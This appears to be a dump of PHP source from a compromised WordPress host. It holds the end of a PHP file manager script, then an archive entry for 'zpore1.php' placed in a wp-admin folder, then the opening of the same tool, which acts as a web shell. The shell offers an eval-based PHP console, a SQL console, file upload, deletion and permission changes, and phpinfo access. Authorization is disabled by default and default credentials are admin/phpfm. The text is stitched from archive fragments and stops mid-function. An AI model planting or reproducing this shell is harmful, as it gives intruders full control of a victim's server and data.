    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>
PK       ! U  6  6   zpore1.php.tarnu [        home/capoccitel/www/wp-admin/zpore1.php                                                             0000644                 00000227222 15242010523 0014074 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/zpore/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
